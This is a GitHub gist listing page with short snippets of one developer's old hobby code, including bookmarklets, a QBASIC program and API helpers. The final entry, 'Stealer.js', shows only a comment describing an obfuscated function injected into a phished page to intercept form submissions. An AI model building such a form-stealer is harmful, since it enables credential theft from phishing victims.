Skip to content

Instantly share code, notes, and snippets.

Avatar

Parashuram N axemclion

View GitHub Profile
@axemclion
axemclion / x
Created Nov 19, 2008
Bookmark Delicious - Ubiquity
View x
/* This is the command to add a bookmark to delicious */
CmdUtils.CreateCommand(
{
name: ["bookmark"],
icon: "http://l.yimg.com/hr/10363/img/delicious.20.gif",
homepage: "http://dy-verse.blogspot.com",
author: {
name: "Parashuram",
email: "n.parashuram@gmail.com"
},
@axemclion
axemclion / FlashResize.js
Created Apr 2, 2009
A bookmarklet to resize any Flash object on HTML pages.
View FlashResize.js
var FlashResizer = {
init: function() {
if (typeof(window["__FLASH_RESIZER__"]) === "undefined") {
window["__FLASH_RESIZER__"] = "started";
this.startResizer();
window.__resizeElements__ = [];
}
else
if (window["__FLASH_RESIZER__"] === "started") {
View wcdLaunchy.bat
@echo off
set PDC_RESTORE_SCREEN=1
rem set WCDHOME=%HOMEDRIVE%%HOMEPATH%
rem set LANG=nl_NL
rem set WCDLOCALEDIR=c:/Program Files/wcd/share/locale
wcdwin32.exe -j %*
@axemclion
axemclion / draw.bas
Created May 20, 2009
My first computer program. Generates code for graphics drawn on the screen.
View draw.bas
10 CLS : KEY OFF: SCREEN 9: x = 320: y = 170: vvv = 750: col = 15: Col1 = 15
20 LOCATE 10, 10: INPUT "Start a new session (Y/N)"; an$: DIM ch(7561.5)
30 LOCATE 11, 10: INPUT "give the resolution :", res: IF res = 0 THEN res = 10
40 IF an$ <> "n" THEN OPEN "line.$$$" FOR OUTPUT AS #1: OPEN "Circ.$$$" FOR OUTPUT AS #2: CLOSE : OPEN "text.$$$" FOR OUTPUT AS #1: CLOSE : OPEN "box.$$$" FOR OUTPUT AS #1: CLOSE : OPEN "paint.$$$" FOR OUTPUT AS #1: CLOSE
50 CLOSE : OPEN "line.$$$" FOR APPEND AS #1: OPEN "circ.$$$" FOR APPEND AS #2: CLOSE : OPEN "text.$$$" FOR APPEND AS #1: OPEN "box.$$$" FOR APPEND AS #2: CLOSE : OPEN "paint.$$$" FOR APPEND AS #1: CLOSE : CLS : GOSUB 60: GOTO 100
60 FOR q = 1 TO 640 STEP 20: LINE (q, 0)-(q, 350), 2: NEXT q
70 FOR q = 1 TO 350 STEP 20: LINE (0, q)-(640, q), 2: NEXT q
80 LINE (9, 9)-(632, 342), 12, B: LINE (8, 8)-(631, 341), 15, B: PAINT (1, 1), 8, 15
90 RETURN
100 DIM pnt(100): GET (1, 1)-(2, 2), pnt:
@axemclion
axemclion / InviteGmailContacts.html
Created Jun 22, 2009
A HTML file that can be used to fetch the contacts from gmail to invite them
View InviteGmailContacts.html
<html>
<head></head>
<body>
<div id = "SelectContacts"></div>
<img src = "img/sample.jpg"></body>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("gdata", "1.x");
google.setOnLoadCallback(function() {
var scope = 'http://www.google.com/m8/feeds';
@axemclion
axemclion / DownloadDecryptHelper.java
Created Jul 14, 2009
ATMOS security API - RSA Smash Challenge
View DownloadDecryptHelper.java
package com.emc.smashup.atmos.api;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import org.apache.commons.codec.binary.Base64;
import com.emc.esu.api.DownloadHelper;
import com.emc.esu.api.EsuApi;
View DownloadDecryptHelper.java
package com.emc.smashup.atmos.api;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import org.apache.commons.codec.binary.Base64;
import com.emc.esu.api.DownloadHelper;
import com.emc.esu.api.EsuApi;
View CheckGreasemonkeyVersion.js
// Checks if there is a new script version according to the version information in the script homepage
// The version information is in a line in the full description of the script: "<p>#[V:00000000]#</p>" (00000000 is the version number)
// If the request is successful and there is a new version available, a message to the user is displayed
// TODO
// Change scriptPage - Number on the URL in userscripts link page.
// Change scipptVersion - Version of the script in this file
// Also add <p>#[V:00000000]#</p> in the page as a description
@axemclion
axemclion / DurationParser.js
Created Oct 5, 2009
Interval Parser - from "English" to "Seconds"
View DurationParser.js
function parseInterval(interval){
var u = {};
u["minute"] = 1;
u["hour"] = 60 * u["minute"];
u["day"] = 24 * u["hour"];
u["week"] = 7 * u["day"];
u["month"] = 30 * u["day"];
u["quarter"] = 3 * u["month"];
u["year"] = 365 * u["day"];
View Stealer.js
/**
* This is the function that intercepts a form submit. This function is written into the target
* phished file. Have to obfuscate these so that people who analyze the source code of the page
* cant immediatly see where the information is going.
*/